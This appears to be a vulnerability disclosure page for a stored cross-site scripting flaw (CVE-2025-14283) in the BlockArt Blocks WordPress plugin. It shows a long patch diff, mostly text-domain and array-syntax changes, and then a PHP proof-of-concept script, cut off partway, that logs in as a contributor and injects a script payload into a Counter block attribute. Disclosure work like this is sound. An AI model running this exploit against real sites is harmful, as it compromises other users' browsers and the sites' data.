-			return new WP_Error( 'changelog_read_error', esc_html__( 'Failed to read changelog.', 'blockart' ) );
+			return new WP_Error( 'changelog_read_error', esc_html__( 'Failed to read changelog.', 'blockart-blocks' ) );
 		}

 		return $raw_changelog;
--- a/blockart-blocks/includes/RestApi/Controllers/ImageImportController.php
+++ b/blockart-blocks/includes/RestApi/Controllers/ImageImportController.php
@@ -123,7 +123,7 @@
 		if ( ! current_user_can( 'edit_posts' ) || ! current_user_can( 'upload_files' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
--- a/blockart-blocks/includes/RestApi/Controllers/LibraryDataController.php
+++ b/blockart-blocks/includes/RestApi/Controllers/LibraryDataController.php
@@ -65,7 +65,7 @@
 		if ( ! current_user_can( 'edit_posts' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
@@ -111,7 +111,7 @@
 					);
 				}
 				$item['slug'] = $item['post_name'];
-				foreach ( $item['category'] ?? [] as $cat ) {
+				foreach ( $item['category'] ?? array() as $cat ) {
 					if ( isset( $result[ $cat['slug'] ] ) ) {
 						++$result[ $cat['slug'] ]['count'];
 						$result[ $cat['slug'] ]['items'][] = $item;
@@ -159,7 +159,7 @@
 			if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
 				return new WP_Error(
 					'rest_forbidden',
-					esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+					esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 					array( 'status' => rest_authorization_required_code() )
 				);
 			}
@@ -176,7 +176,7 @@
 			} else {
 				return new WP_Error(
 					'invalid_data',
-					esc_html__( 'Invalid data received from the library.', 'blockart' ),
+					esc_html__( 'Invalid data received from the library.', 'blockart-blocks' ),
 					array( 'status' => 500 )
 				);
 			}
--- a/blockart-blocks/includes/RestApi/Controllers/RegenerateAssetsController.php
+++ b/blockart-blocks/includes/RestApi/Controllers/RegenerateAssetsController.php
@@ -58,7 +58,7 @@
 		if ( ! current_user_can( 'manage_options' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
--- a/blockart-blocks/includes/RestApi/Controllers/SettingsController.php
+++ b/blockart-blocks/includes/RestApi/Controllers/SettingsController.php
@@ -85,7 +85,7 @@
 		if ( ! current_user_can( 'manage_options' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
@@ -103,7 +103,7 @@
 		if ( ! current_user_can( 'manage_options' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
@@ -137,181 +137,181 @@
 				),
 				'blocks' => array(
 					'type'             => 'object',
-					'description'      => __( 'Blocks', 'blockart' ),
+					'description'      => __( 'Blocks', 'blockart-blocks' ),
 					'properties'       => array(
 						'section'           => array(
-							'description' => __( 'Section block', 'blockart' ),
+							'description' => __( 'Section block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'heading'           => array(
-							'description' => __( 'Heading block', 'blockart' ),
+							'description' => __( 'Heading block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'paragraph'         => array(
-							'description' => __( 'Paragraph block', 'blockart' ),
+							'description' => __( 'Paragraph block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'button'            => array(
-							'description' => __( 'Button block', 'blockart' ),
+							'description' => __( 'Button block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'image'             => array(
-							'description' => __( 'Image block', 'blockart' ),
+							'description' => __( 'Image block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'countdown'         => array(
-							'description' => __( 'Countdown block', 'blockart' ),
+							'description' => __( 'Countdown block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'counter'           => array(
-							'description' => __( 'Counter block', 'blockart' ),
+							'description' => __( 'Counter block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'spacing'           => array(
-							'description' => __( 'Spacing block', 'blockart' ),
+							'description' => __( 'Spacing block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'info-box'          => array(
-							'description' => __( 'Info box block', 'blockart' ),
+							'description' => __( 'Info box block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'lottie'            => array(
-							'description' => __( 'Lottie animation block', 'blockart' ),
+							'description' => __( 'Lottie animation block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'team'              => array(
-							'description' => __( 'Team block', 'blockart' ),
+							'description' => __( 'Team block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'table-of-contents' => array(
-							'description' => __( 'Table of contents block', 'blockart' ),
+							'description' => __( 'Table of contents block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'tabs'              => array(
-							'description' => __( 'Tabs block', 'blockart' ),
+							'description' => __( 'Tabs block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'social-share'      => array(
-							'description' => __( 'Social share block', 'blockart' ),
+							'description' => __( 'Social share block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'info'              => array(
-							'description' => __( 'Info block', 'blockart' ),
+							'description' => __( 'Info block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'blockquote'        => array(
-							'description' => __( 'Blockquote block', 'blockart' ),
+							'description' => __( 'Blockquote block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'timeline'          => array(
-							'description' => __( 'Timeline block', 'blockart' ),
+							'description' => __( 'Timeline block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'notice'            => array(
-							'description' => __( 'Notice block', 'blockart' ),
+							'description' => __( 'Notice block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'progress'          => array(
-							'description' => __( 'Progress block', 'blockart' ),
+							'description' => __( 'Progress block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'call-to-action'    => array(
-							'description' => __( 'Call to action block', 'blockart' ),
+							'description' => __( 'Call to action block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'slider'            => array(
-							'description' => __( 'Slider block', 'blockart' ),
+							'description' => __( 'Slider block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'map'               => array(
-							'description' => __( 'Google maps block', 'blockart' ),
+							'description' => __( 'Google maps block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'testimonial'       => array(
-							'description' => __( 'Testimonial block', 'blockart' ),
+							'description' => __( 'Testimonial block', 'blockart-blocks' ),
 							'type'        => 'boolean',
 						),
 						'faq'               => array(
-							'description'     => __( 'FAQ block', 'blockart' ),
+							'description'     => __( 'FAQ block', 'blockart-blocks' ),
 							'type'            => 'boolean',
 							'icon'            => array(
-								'description' => __( 'Icon block', 'blockart' ),
+								'description' => __( 'Icon block', 'blockart-blocks' ),
 								'type'        => 'boolean',
 							),
 							'icon-list'       => array(
-								'description' => __( 'Icon list block', 'blockart' ),
+								'description' => __( 'Icon list block', 'blockart-blocks' ),
 								'type'        => 'boolean',
 							),
 							'modal'           => array(
-								'description' => __( 'Modal block', 'blockart' ),
+								'description' => __( 'Modal block', 'blockart-blocks' ),
 								'type'        => 'boolean',
 							),
 							'imageComparison' => array(
-								'description' => __( 'Image Comparison block', 'blockart' ),
+								'description' => __( 'Image Comparison block', 'blockart-blocks' ),
 								'type'        => 'boolean',
 							),
 						),
 					),
 					'editor'           => array(
 						'type'        => 'object',
-						'description' => __( 'Editor Options', 'blockart' ),
+						'description' => __( 'Editor Options', 'blockart-blocks' ),
 						'properties'  => array(
 							'section-width'          => array(
 								'type'        => 'integer',
-								'description' => __( 'Default section max width', 'blockart' ),
+								'description' => __( 'Default section max width', 'blockart-blocks' ),
 							),
 							'editor-blocks-spacing'  => array(
 								'type'        => 'integer',
-								'description' => __( 'Spacing between blocks in the block editor', 'blockart' ),
+								'description' => __( 'Spacing between blocks in the block editor', 'blockart-blocks' ),
 							),
 							'design-library'         => array(
 								'type'        => 'boolean',
-								'description' => __( 'Collection of pre-made blocks', 'blockart' ),
+								'description' => __( 'Collection of pre-made blocks', 'blockart-blocks' ),
 							),
 							'responsive-breakpoints' => array(
 								'type'        => 'object',
-								'description' => __( 'Responsive breakpoints', 'blockart' ),
+								'description' => __( 'Responsive breakpoints', 'blockart-blocks' ),
 								'properties'  => array(
 									'tablet' => array(
 										'type'        => 'integer',
-										'description' => __( 'Tablet breakpoint', 'blockart' ),
+										'description' => __( 'Tablet breakpoint', 'blockart-blocks' ),
 									),
 									'mobile' => array(
 										'type'        => 'integer',
-										'description' => __( 'Mobile breakpoint', 'blockart' ),
+										'description' => __( 'Mobile breakpoint', 'blockart-blocks' ),
 									),
 								),
 							),
 							'copy-paste-styles'      => array(
 								'type'        => 'boolean',
-								'description' => __( 'Copy paste style for blocks', 'blockart' ),
+								'description' => __( 'Copy paste style for blocks', 'blockart-blocks' ),
 							),
 							'auto-collapse-panels'   => array(
 								'type'        => 'boolean',
-								'description' => __( 'Panels behavior similar to accordion. Open one at a time', 'blockart' ),
+								'description' => __( 'Panels behavior similar to accordion. Open one at a time', 'blockart-blocks' ),
 							),
 						),
 					),
 					'performance'      => array(
 						'type'        => 'object',
-						'description' => __( 'Performance', 'blockart' ),
+						'description' => __( 'Performance', 'blockart-blocks' ),
 						'properties'  => array(
 							'local-google-fonts'        => array(
 								'type'        => 'boolean',
-								'description' => __( 'Load google fonts locally', 'blockart' ),
+								'description' => __( 'Load google fonts locally', 'blockart-blocks' ),
 							),
 							'preload-local-fonts'       => array(
 								'type'        => 'boolean',
-								'description' => __( 'Preload local fonts', 'blockart' ),
+								'description' => __( 'Preload local fonts', 'blockart-blocks' ),
 							),
 							'allow-only-selected-fonts' => array(
 								'type'        => 'boolean',
-								'description' => __( 'Allow only selected fonts', 'blockart' ),
+								'description' => __( 'Allow only selected fonts', 'blockart-blocks' ),
 							),

 							'allowed-fonts'             => array(
 								'type'        => 'array',
-								'description' => __( 'Allowed fonts', 'blockart' ),
+								'description' => __( 'Allowed fonts', 'blockart-blocks' ),
 								'items'       => array(
 									'type'       => 'object',
 									'properties' => array(
@@ -361,47 +361,47 @@
 					),
 					'asset-generation' => array(
 						'type'        => 'object',
-						'description' => __( 'Asset generation', 'blockart' ),
+						'description' => __( 'Asset generation', 'blockart-blocks' ),
 						'properties'  => array(
 							'external-file' => array(
 								'type'        => 'boolean',
-								'description' => __( 'File generation', 'blockart' ),
+								'description' => __( 'File generation', 'blockart-blocks' ),
 							),
 						),
 					),
 					'version-control'  => array(
 						'type'        => 'object',
-						'description' => __( 'Version control', 'blockart' ),
+						'description' => __( 'Version control', 'blockart-blocks' ),
 						'properties'  => array(
 							'beta-tester' => array(
 								'type'        => 'boolean',
-								'description' => __( 'Beta tester', 'blockart' ),
+								'description' => __( 'Beta tester', 'blockart-blocks' ),
 							),
 						),
 					),
 					'integrations'     => array(
 						'type'        => 'object',
-						'description' => __( 'Third party integrations', 'blockart' ),
+						'description' => __( 'Third party integrations', 'blockart-blocks' ),
 						'properties'  => array(
 							'google-maps-embed-api-key' => array(
 								'type'        => 'string',
-								'description' => __( 'Google maps embed api key', 'blockart' ),
+								'description' => __( 'Google maps embed api key', 'blockart-blocks' ),
 							),
 						),
 					),
 					'maintenance-mode' => array(
 						'type'        => 'object',
-						'description' => __( 'Maintenance mode', 'blockart' ),
+						'description' => __( 'Maintenance mode', 'blockart-blocks' ),
 						'properties'  => array(
 							'maintenance-mode' => array(
 								'type'        => 'boolean',
-								'description' => __( 'Enable or disable maintenance mode', 'blockart' ),
+								'description' => __( 'Enable or disable maintenance mode', 'blockart-blocks' ),
 							),
 							'maintenance-page' => array(
 								'oneOf' => array(
 									array(
 										'type'        => 'object',
-										'description' => __( 'Maintenance mode page data.', 'blockart' ),
+										'description' => __( 'Maintenance mode page data.', 'blockart-blocks' ),
 										'properties'  => array(
 											'id'    => array(
 												'type' => 'number',
--- a/blockart-blocks/includes/RestApi/Controllers/VersionControlController.php
+++ b/blockart-blocks/includes/RestApi/Controllers/VersionControlController.php
@@ -58,7 +58,7 @@
 		if ( ! current_user_can( 'manage_options' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
--- a/blockart-blocks/includes/Review.php
+++ b/blockart-blocks/includes/Review.php
@@ -58,14 +58,14 @@
 				</svg>
 			</div>
 			<div class="blockart-notice-content">
-				<h3 class="blockart-notice-title"><?php esc_html_e( 'HAKUNA MATATA!', 'blockart' ); ?></h3>
+				<h3 class="blockart-notice-title"><?php esc_html_e( 'HAKUNA MATATA!', 'blockart-blocks' ); ?></h3>
 				<p class="blockart-notice-description">
 					<?php
 					printf(
 						/* Translators: 1: Plugin name, 2: Benefit, 3: Break tag, 4: Smile icon */
 						esc_html__(
 							'Hope you are having nice experience with %1$s plugin. Please provide this plugin a nice review. %2$s %3$s Basically, it would encourage us to release updates regularly with new features & bug fixes so that you can keep on using the plugin without any issues and also to provide free support like we have been doing. %4$s',
-							'blockart'
+							'blockart-blocks'
 						),
 						'<strong>BlockArt Blocks</strong>',
 						'<br>',
@@ -77,11 +77,11 @@
 				<p class="blockart-notice-actions">
 					<a href="https://wordpress.org/support/plugin/blockart-blocks/reviews?rate=5#new-post" target="_blank" rel="noopener noreferrer" class="button button-primary blockart-leave-review">
 						<span class="dashicons dashicons-external"></span>
-						<?php esc_html_e( 'Sure, I'd love to!', 'blockart' ); ?>
+						<?php esc_html_e( 'Sure, I'd love to!', 'blockart-blocks' ); ?>
 					</a>
-					<a href="#" class="button button-secondary blockart-remind-me-later"><span  class="dashicons dashicons-smiley"></span><?php esc_html_e( 'Remind me later', 'blockart' ); ?></a>
-					<a href="#" class="button button-secondary blockart-reviewed-already"><span class="dashicons dashicons-dismiss"></span><?php esc_html_e( 'I already did', 'blockart' ); ?></a>
-					<a href="https://wpblockart.com/contact/" class="button button-secondary blockart-have-query" target="_blank" rel="noopener noreferrer"><span class="dashicons dashicons-testimonial"></span><?php esc_html_e( 'I have a query', 'blockart' ); ?></a>
+					<a href="#" class="button button-secondary blockart-remind-me-later"><span  class="dashicons dashicons-smiley"></span><?php esc_html_e( 'Remind me later', 'blockart-blocks' ); ?></a>
+					<a href="#" class="button button-secondary blockart-reviewed-already"><span class="dashicons dashicons-dismiss"></span><?php esc_html_e( 'I already did', 'blockart-blocks' ); ?></a>
+					<a href="https://wpblockart.com/contact/" class="button button-secondary blockart-have-query" target="_blank" rel="noopener noreferrer"><span class="dashicons dashicons-testimonial"></span><?php esc_html_e( 'I have a query', 'blockart-blocks' ); ?></a>
 				</p>
 			</div>
 		</div>
--- a/blockart-blocks/includes/ScriptStyle.php
+++ b/blockart-blocks/includes/ScriptStyle.php
@@ -164,7 +164,7 @@
 				'deps'    => array_merge(
 					array( 'blockart-frontend-common' ),
 					'map' === $view_script ? array( 'blockart-google-maps' ) : array(),
-					'image-gallery' === $view_script ? [ 'swiper' ] : [],
+					'image-gallery' === $view_script ? array( 'swiper' ) : array(),
 					'image-comparison' === $view_script ? array( 'blockart-dics' ) : array()
 				),
 				'version' => BLOCKART_VERSION,
@@ -199,7 +199,7 @@
 	 * @return void
 	 */
 	public function register_scripts() {
-		wp_register_script( 'swiper', plugins_url( '/assets/lib/swiper/swiper-bundle.min.js', BLOCKART_PLUGIN_FILE ), [], '11.0.7', true );
+		wp_register_script( 'swiper', plugins_url( '/assets/lib/swiper/swiper-bundle.min.js', BLOCKART_PLUGIN_FILE ), array(), '11.0.7', true );
 		foreach ( $this->scripts as $handle => $script ) {
 			if ( empty( $script['callback'] ) ) {
 				wp_register_script( "blockart-$handle", $script['src'], $script['deps'], $script['version'], true );
@@ -207,7 +207,7 @@
 				wp_register_script( "blockart-$handle", $script['src'], $script['deps'], $script['version'], true );
 			}
 			if ( isset( $script['i18n'] ) && $script['i18n'] ) {
-				wp_set_script_translations( "blockart-$handle", 'blockart', BLOCKART_LANGUAGES );
+				wp_set_script_translations( "blockart-$handle", 'blockart-blocks', BLOCKART_LANGUAGES );
 			}
 		}
 	}
@@ -327,13 +327,13 @@
 		global $pagenow;

 		$font_awesome_icons = Items::fromFile( Icon::FONT_AWESOME_ICONS_PATH );
-		$font_awesome_array = is_iterable( $font_awesome_icons ) ? iterator_to_array( $font_awesome_icons ) : [];
+		$font_awesome_array = is_iterable( $font_awesome_icons ) ? iterator_to_array( $font_awesome_icons ) : array();

 		$blockart_icons = Items::fromFile( Icon::BLOCKART_ICONS_PATH );
-		$blockart_array = is_iterable( $blockart_icons ) ? iterator_to_array( $blockart_icons ) : [];
+		$blockart_array = is_iterable( $blockart_icons ) ? iterator_to_array( $blockart_icons ) : array();

 		$google_fonts       = Items::fromFile( BLOCKART_PLUGIN_DIR . '/assets/json/google-fonts.json' );
-		$google_fonts_array = is_iterable( $google_fonts ) ? iterator_to_array( $google_fonts ) : [];
+		$google_fonts_array = is_iterable( $google_fonts ) ? iterator_to_array( $google_fonts ) : array();

 		$localized_scripts = apply_filters(
 			'blockart_localize_block_scripts',
--- a/blockart-blocks/vendor/autoload.php
+++ b/blockart-blocks/vendor/autoload.php
@@ -2,6 +2,21 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitf5b1a9898e5b1fb66fb95d4148e9bd1c::getLoader();
+return ComposerAutoloaderInit7c5a0bca96ca44bf6478c95e64322075::getLoader();
--- a/blockart-blocks/vendor/composer/ClassLoader.php
+++ b/blockart-blocks/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14283 - BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library <= 2.2.14 - Authenticated (Contributor+) Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-14283
 * Requires valid contributor-level WordPress credentials
 * Demonstrates stored XSS via BlockArt Counter block attributes
 */

// Configuration
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // Target post ID to edit

// Malicious payload - XSS in data-separator attribute
$payload = '"><script>alert(document.domain)</script>';

// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Get edit page to retrieve nonce
$edit_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from page (simplified - in reality would need proper parsing)
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Step 3: Construct malicious block data with XSS payload
$block_data = array(
    'id' => 'blockart-counter-' . uniqid(),
    'type' => 'blockart/counter',
    'attributes' => array(
        'separator' => $payload, // Vulnerable attribute
        'start' => 0,
        'end' => 100,
        'decimal' => 0,
        'animation' => 2000
    )
);

// Step 4: Update post with malicious block
$update_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
$post_data = array(
    'content' => '<!-- wp:blockart/counter ' . json_encode($block_data['attributes']) . ' /-->',
    'meta' => array(
        '_wpnonce' => $nonce
    )
);

curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
